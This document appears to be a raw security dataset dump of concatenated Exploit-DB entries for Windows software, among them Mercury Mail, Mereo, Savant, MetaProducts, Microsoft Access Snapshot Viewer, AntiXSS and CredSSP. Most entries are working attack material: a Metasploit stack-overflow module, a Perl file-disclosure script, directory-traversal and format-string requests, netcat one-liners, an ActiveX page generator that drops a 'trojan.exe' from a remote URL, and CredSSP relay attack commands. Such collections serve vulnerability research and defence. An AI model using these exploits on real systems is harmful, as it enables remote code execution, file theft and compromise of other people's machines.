deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16821
Description: Mercury/32 Mail SMTPD - AUTH CRAM-MD5 Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: mercury_cram_md5.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.
				By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
				may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2007-4440' ],
					[ 'OSVDB', '39669' ],
					[ 'BID', '25357' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Platform'       => 'win',
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20\x25",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[ 'Mercury Mail Transport System 4.51',	{ 'Ret' => 0x258d0d1e } ], # ter32.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 18 2007'))

		register_options([ Opt::RPORT(25) ], self.class)
	end

	def exploit
		connect

		sock.get_once

		sock.put("EHLO\r\n")

		sock.get_once

		sock.put("AUTH CRAM-MD5\r\n")

		sock.get_once
		select(nil,nil,nil,0.25)

		buffer =  rand_text_alpha_upper(204) + [target.ret].pack('V')
		buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)

		sploit = Rex::Text.encode_base64(buffer)

		print_status("Trying target #{target.name}...")
		sock.put(sploit + "\r\n")

		handler
		disconnect
	end

end
Exploit-DB #8651
Description: Mereo 1.8.0 - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2009-05-11
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl -w
#
# Found By : Cyber-Zone (ABDELKHALEK)
# Paradis_des_fous@hotmail.fr
#
#
# Note : Don't use this for your own R!sk :d
#
#
# Thanx To All Friends : Hussin X , Jiko , Stack , SimO-sofT , r1z , ZoRLu , Mag!c ompo , ThE g0bL!N , b0rizq , All MoroCCaN Hackers

#
# demo version Tested under my MS WINDOWS sp2
#
#
use LWP::Simple;
use LWP::UserAgent;

print "\tMereo 1.8.0 Arbitrary File Disclosure Exploit\n";

print "\t****************************************************************\n";
print "\t*      Found And Exploited By : Cyber-Zone (ABDELKHALEK)       *\n";
print "\t*           E-mail : Paradis_des_fous[at]hotmail.fr            *\n";
print "\t*          Home : WwW.IQ-TY.CoM , WwW.No-Exploit.CoM           *\n";
print "\t*               From : MoroccO Figuig/Oujda City               *\n";
print "\t****************************************************************\n\n\n\n";

if(@ARGV < 4)
{
&help; exit();
}
sub help()
{
print "[X] Usage : perl $0 HackerName IP Port File\n";
print "[X] Exemple : perl $0 Cyber-Zone 127.0.0.1 80 boot.ini\n";
}
($HackerName, $TargetIP, $AttackedPort, $TargetFile) = @ARGV;
print("Please Wait ! Connecting To The Server ......\n\n");
sleep(5);

print("          ******************************\n");
print("          *             Status         *\n");
print("          ******************************\n");
print("Loading ........................................\n\n\n");

$temp="/";
my $boom = "http://" . $TargetIP . ":" . $AttackedPort . $temp . $TargetFile;
print("Exploiting .....>    |80\n");
sleep(15);
print("Exploiting ..........|Done!\n");
sleep(5);
$Disclosure=get $boom;
if($Disclosure){
print("\n\n\n\n............File Contents Are Just Below...........\n");
print("$Disclosure \n");
print(".........................EOF.......................\n");
print("Done For Fun //Figuigian HaCker\n");
print("Some Womens Makes The World Special , Just By Being On it <3\n");
print("SEE U $HackerName\n\n\n");
}
else
{
print(" Not Found !!!\n\n");
exit;
}  

# milw0rm.com [2009-05-11]
Exploit-DB #33974
Description: Mereo 1.9.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-05-09
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/40053/info

Mereo is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files and directories within the context of the webserver. Information harvested may aid in launching further attacks.

Mereo 1.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/%80../%80../%80../%80../%80../%80../%80../%80../
Exploit-DB #9813
Description: Mereo Web Server 1.8 - Source Code Disclosure
Type: remote
Platform: windows
Date: 2009-09-25
Author: Dr_IDE

Exploit:
#################################################################################
#
# Mereo Web Server v1.8 Multiple Remote Source Code Disclosure
# Found By:		Dr_IDE
# Tested On:	Windows XPSP3
#
#################################################################################

- Description -

Mereo Web Server v1.8 is a Windows based HTTP server. This is the latest version of
the application available. 

Mereo is vulnerable to remote arbitrary source code disclosure by the following means.

- Technical Details -

	http://[ webserver IP]/[ file ][.]
	http://[ webserver IP]/[ file ][::$DATA]
	
	http://172.16.2.101/index.html.
	http://172.16.2.101/index.html::$DATA
Exploit-DB #25026
Description: Mesh Viewer 0.2.2 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Mohammed Khan

Exploit:
source: https://www.securityfocus.com/bid/12025/info

It is reported that Mesh Viewer is susceptible to a buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it into a fixed-size memory buffer.

This vulnerability allow remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read malicious files. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25026.zip
Exploit-DB #7804
Description: MetaProducts MetaTreeX 1.5.100 - ActiveX File Overwrite
Type: remote
Platform: windows
Date: 2009-01-16
Author: Houssamix

Exploit:
<HTML>
<BODY>

<b>   
	Author : Houssamix    <br/>  <br/>  <br/>

   	MetaProducts MetaTreeX V 1.5.100 Remote File Overwrite Exploit    <br/>

	Note : SaveToFile() is vuln to  <br/>

<b/>


<object id=hsmx classid="clsid:{67E66985-F81A-11D6-BC0F-F7B40157DC26}"></object>

<SCRIPT>
/*

Report for Clsid: {67E66985-F81A-11D6-BC0F-F7B40157DC26}
RegKey Safe for Script: Faux
RegKey Safe for Init: Faux
Implements IObjectSafety: Vrai
IDisp Safe:  Safe for untrusted: caller,data  
IPStorage Safe:  Safe for untrusted: caller,data  

*/
function hehe()
 {
     File = "c:\\windows\\system_.ini"
   hsmx.SaveToBMP(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>

# milw0rm.com [2009-01-16]
Exploit-DB #20488
Description: MetaProducts Offline Explorer 1.x - FileSystem Disclosure
Type: remote
Platform: windows
Date: 2000-12-07
Author: Dodger

Exploit:
source: https://www.securityfocus.com/bid/2084/info

MetaProducts Offline Explorer is an application that allows a user to download the contents of a website or FTP site for offline browsing at a later time.

It is possible to view the full contents of the directory structure of a system Offline Explorer resides on. By default, Offline Explorer listens on port 800. A remote user may retrieve a directory listing and browse its contents without any authorization whatsoever by issuing a GET request followed by a corresponding physical or logical drive letter.

Eg.

http://target:800/C:/
will reveal a directory listing for drive C.
Exploit-DB #22769
Description: Methodus 3 Web Server - File Disclosure
Type: remote
Platform: windows
Date: 2003-06-13
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/7908/info

The Methodus 3 Web Server component is prone to a file disclosure vulnerability. It is possible for remote attackers to retrieve resources outside of the web root directory via directory traversal attacks. This could potentially be exploited to gain access to sensitive files on a system hosting the vulnerable software.

http://www.example.com/../../../windows/win.ini
Exploit-DB #31407
Description: MG-SOFT Net Inspector 6.5.0.826 - Multiple Remote Vulnerabilities
Type: remote
Platform: windows
Date: 2008-03-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28266/info

Net Inspector is prone to multiple remote vulnerabilities, including:

- A format-string vulnerability
- A directory-traversal vulnerability
- Multiple denial-of-service vulnerabilities

An attacker can exploit these issues to execute arbitrary code within the context of the affected application, obtain sensitive information, or crash the affected application.

These issues affect Net Inspector 6.5.0.828; other versions may also be affected. 

GET /%n%n%s%s%n%n%n%s HTTP/1.0

GET ../../../../boot.ini HTTP/1.0

GET \../..\../..\windows/win.ini HTTP/1.0

cho|nc SERVER PORT -v -v -u

echo -n -e \x2a\x45\x67\xf2\x00\x00\x00\x00|nc SERVER 5221 -v -v -w 1
Exploit-DB #25020
Description: Michael Kohn VB2C 0.02 - '.FRM' File Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Qiao Zhang

Exploit:
source: https://www.securityfocus.com/bid/12020/info

VB2C is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

An attacker can exploit this issue by crafting a malicious FRM file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

VB2C version 0.02 is reported prone to this vulnerability. It is likely that other versions are affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25020.zip
Exploit-DB #20825
Description: Michael Lamont Savant HTTP Server 2.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-17
Author: Tom Tom

Exploit:
source: https://www.securityfocus.com/bid/2697/info

It is possible for an attacker to traverse the web folders of a Savant HTTP Server. Submitting a URL referring to a known directory or file, and appended with specific unicode characters, will disclose the contents of the requested resource. The unicode character in question is '%2f..'. This vulnerability could allow the reading of files on the target system. 

http://example.com/%2f..%2f..%2f../filename
Exploit-DB #20066
Description: Michael Lamont Savant Web Server 2.1/3.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-07-03
Author: Wizdumb

Exploit:
source: https://www.securityfocus.com/bid/1453/info

A buffer overflow exists in the Savant Web Server. It is possible to exploit this overflow by sending an unusually long GET request to the server.


/* The MDMA Crew's proof-of-concept code for the buffer overflow in Savant
 * Written by Wizdumb <wizdumb@leet.org || www.mdma.za.net/fk>
 *
 * The overflow occurs when the server recieves too many headers in the GET
 * request. The results of the attack look something like...
 *
 * SAVANT caused an invalid page fault
 * in module KERNEL32.DLL at 015f:bff87eb5.
 *
 * Registers:
 *
 * EAX=c00300ec CS=015f EIP=bff87eb5 EFLGS=00010212
 * EBX=0119ff90 SS=0167 ESP=0109ffc4 EBP=010a0030
 * ECX=010a01e4 DS=0167 ESI=8162f198 FS=20f7
 * EDX=bff76859 ES=0167 EDI=010a020c GS=0000
 *
 * Bytes at CS:EIP:
 * 53 56 57 8b 30 83 7d 10 01 8b 4e 38 89 4d f8 75
 *
 * Stack dump:
 *
 * Enjoy!
 * Andrew Lewis aka. Wizdumb [03/07/2000]
 */

import java.io.*;
import java.net.*;

class savantstack {

 public static void main(String[] args) throws IOException {
   
   if (args.length != 1) {
     System.out.println("Syntax: java savantstack [hostname/ip]");
     System.exit(1); }
   
   Socket soq = null;
   PrintWriter white = null;
   
   int i = 5000; // This should do fine :-)
   
   soq = new Socket(args[0], 80);
   white = new PrintWriter(soq.getOutputStream(), true);
   
   System.out.print("Showing " + args[0] + " the phj33r :P ...");
   white.print("GET /index.html HTTP/1.0");
   for (int x = 0; x < i; x++) white.println("A:A");
   white.println("\n");
   System.out.println("Done!");
   
   white.close();
   soq.close(); } }
Exploit-DB #30281
Description: Microsoft .Net Framework 2.0 - Multiple Null Byte Injection Vulnerabilities
Type: remote
Platform: windows
Date: 2007-07-06
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/24791/info

Microsoft .NET Framework is prone to multiple NULL-byte injection vulnerabilities because it fails to adequately sanitize user-supplied data.

An attacker can exploit these issues to access sensitive information that may aid in further attacks; other attacks are also possible. 

http://www.example.com/[path]/somescript.asp%00
Exploit-DB #35740
Description: Microsoft .NET Framework JIT Compiler - Optimization NULL String Remote Code Execution
Type: remote
Platform: windows
Date: 2011-03-04
Author: Brian Mancini

Exploit:
source: https://www.securityfocus.com/bid/47834/info

The Microsoft .NET Framework is prone to a remote code-execution vulnerability that affects the Just-In-Time (JIT) compiler optimization on x86 architectures.

Successful exploits may allow an attacker to execute arbitrary code in the context of the browser; this may aid in further attacks.

if ((value == null || value == new string[0]) == false)
Exploit-DB #6124
Description: Microsoft Access - 'Snapview.ocx 10.0.5529.0' ActiveX Remote File Download
Type: remote
Platform: windows
Date: 2008-07-24
Author: callAX

Exploit:
/* Microsoft Access Snapshot Viewer ActiveX Control Exploit
   Ms-Access SnapShot Exploit Snapview.ocx v 10.0.5529.0
   Download nice binaries into an arbitrary box
   Vulnerability discovered by Oliver Lavery 
   https://www.securityfocus.com/bid/8536/info
   Remote: Yes
   greetz to str0ke */

#include <stdio.h>
#include <stdlib.h>


#define Filename        "Ms-Access-SnapShot.html"


FILE *File;
char data[] = "<html>\n<objectclassid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9'id='attack'></object>\n"
              "<script language='javascript'>\nvar arbitrary_file = 'http://path_to_trojan'\n"
              "var dest = 'C:/Docume~1/ALLUSE~1/trojan.exe'\nattack.SnapshotPath = arbitrary_file\n"
              "attack.CompressedPath = destination\nattack.PrintSnapshot(arbitrary_file,destination)\n"
              "<script>\n<html>";

int main ()
{
        printf("**Microsoft Access Snapshot Viewer ActiveX Exploit**\n");
        printf("**c0ded by callAX**\n");
        printf("**r00t your enemy .| **");

        char *b0fer;

        if ( (File = fopen(Filename,"w")) == NULL ) {
                printf("\n fopen() error");
                exit(1);
        }

        b0fer = (char*)malloc(strlen(data));

        fwrite(data, strlen(data), 1,File);
        fclose(File);

        printf("\n\n" Filename " has been created.\n");
        return 0;
}

// milw0rm.com [2008-07-24]
Exploit-DB #23095
Description: Microsoft Access 97/2000/2002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow
Type: remote
Platform: windows
Date: 2003-09-03
Author: Oliver Lavery

Exploit:
// source: https://www.securityfocus.com/bid/8536/info

Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on user-supplied parameters. Presumably, a remote attacker may be able to leverage this issue to execute arbitrary code in the context of the user running the affected Internet Explorer. 

/* Microsoft Access Snapshot Viewer ActiveX Control Exploit
   Ms-Acees SnapShot Exploit Snapview.ocx v 10.0.5529.0
   Download nice binaries into an arbitrary box
   Vulnerability discovered by Oliver Lavery 
   https://www.securityfocus.com/bid/8536/info
   Remote: Yes
   greetz to str0ke */

#include <stdio.h>
#include <stdlib.h>


#define Filename        "Ms-Access-SnapShot.html"


FILE *File;
char data[] = 
"<html>\n<objectclassid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9'id='attaque'></object>\n"
              "<script language='javascript'>\nvar arbitrary_file = 
'http://path_to_trojan'\n"
              "var dest = 
'C:/Docume~1/ALLUSE~1/trojan.exe'\nattack.SnapshotPath = 
arbitrary_file\n"
              "attack.CompressedPath = 
destination\nattack.PrintSnapshot(arbitrary_file,destination)\n"
              "<script>\n<html>";

int main ()
{
        printf("**Microsoft Access Snapshot Viewer ActiveX 
Exploit**\n");
        printf("**c0ded by callAX**\n");
        printf("**r00t your enemy .| **");

        FILE *File;
        char *b0fer;

        if ( (File = fopen(Filename,"w+b")) == NULL ) {
                printf("\n fopen() error");
                exit(1);
        }

        b0fer = (char*)malloc(strlen(data));
        memcpy(b0fer,data,sizeof(data)-1);


        fwrite(b0fer, strlen(data), 1,File);
        fclose(File);

        printf("\n\n" Filename " has been created.\n");
        return 0;
}
Exploit-DB #19928
Description: Microsoft Active Movie Control 1.0 - Filetype
Type: remote
Platform: windows
Date: 2000-05-13
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/1221/info

The Microsoft Active Movie Control (a multimedia ActiveX control) will download files of any type specified in the control parameters in an HTML document, regardless of whether or not they are a valid media type. A hostile website, HTML email or HTML newsgroup post could therefore write executables and other potentially harmful content to target machines, which will be stored with their known filenames in the default Windows Temp directory. 

This vulnerability could be used in conjunction with other exploits to run arbitrary code on the target machine(s).

The following script assumes a default Windows Temp folder of c:\windows\temp

<OBJECT classid=clsid:05589FA1-C356-11CE-BF01-00AA0055595A height=1
style="DISPLAY: none" width=1>
<PARAM NAME="Filename" VALUE="C:\WINDOWS\TEMP\MALWARE.exe">
Exploit-DB #30567
Description: Microsoft Agent - 'agentdpv.dll' ActiveX Control Malformed URL Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2007-09-11
Author: Yamata Li

Exploit:
source: https://www.securityfocus.com/bid/25566/info

Microsoft Agent (agentsvr.exe) is prone to a stack-based buffer-overflow vulnerability because the application fails to adequately bounds-check user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the currently logged-in user. Failed exploit attempts will likely result in denial-of-service conditions. 

<script language="javascript">
function document::OnClick() {
        var agent, character, url;
        agent = new ActiveXObject("Agent.Control.2");
        agent.connected = true;
        agent.Characters.Load("Genie", "http:///");
        character = agent.Characters.Character("Genie");
        character.Show();
        character.Think ("brazil owns!");
        character.Speak('brazil owns!');
        character.Play('Processing');
}
</script>
Exploit-DB #36507
Description: Microsoft AntiXSS 3/4.0 Library Sanitization Module - Security Bypass
Type: remote
Platform: windows
Date: 2012-01-10
Author: Adi Cohen

Exploit:
source: https://www.securityfocus.com/bid/51291/info

Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.

An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")
Exploit-DB #44453
Description: Microsoft Credential Security Support Provider - Remote Code Execution
Type: remote
Platform: windows
Date: 2018-04-13
Author: Preempt

Exploit:
# credssp

This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only.
It relies on a fork of the rdpy project(https://github.com/preempt/rdpy), allowing also credssp relay. 


Written by Eyal Karni, Preempt 
ekarni@preempt.com 

# Build

## Instructions (Linux)
If you are using Ubuntu 14 , check the install file.. 
It was tested on Ubuntu 16.04. 

```
$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install
```

EDB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44453.zip

* It assumes a pretty clean inital state. Best to uninstall first relevant compontants such as cryptography,pyopenssl maybe (pip uninstall cryptography).  
* A different version of openssl needed to be installed for this to run successfully.  The install script does that. 
* Please follow the instructions in the described order. 

# Running the exploit 


Export a certificate suitable for Server Authentication from any domain.


To generate a suitable certificate for the command to execute : 

```
$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 
```

(exploitc.pem ,exploitk.pem are the generated certificate and private key respectively)

To run the attack script: 

```
$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer
```

More details are in the usage section of the scripts(--help).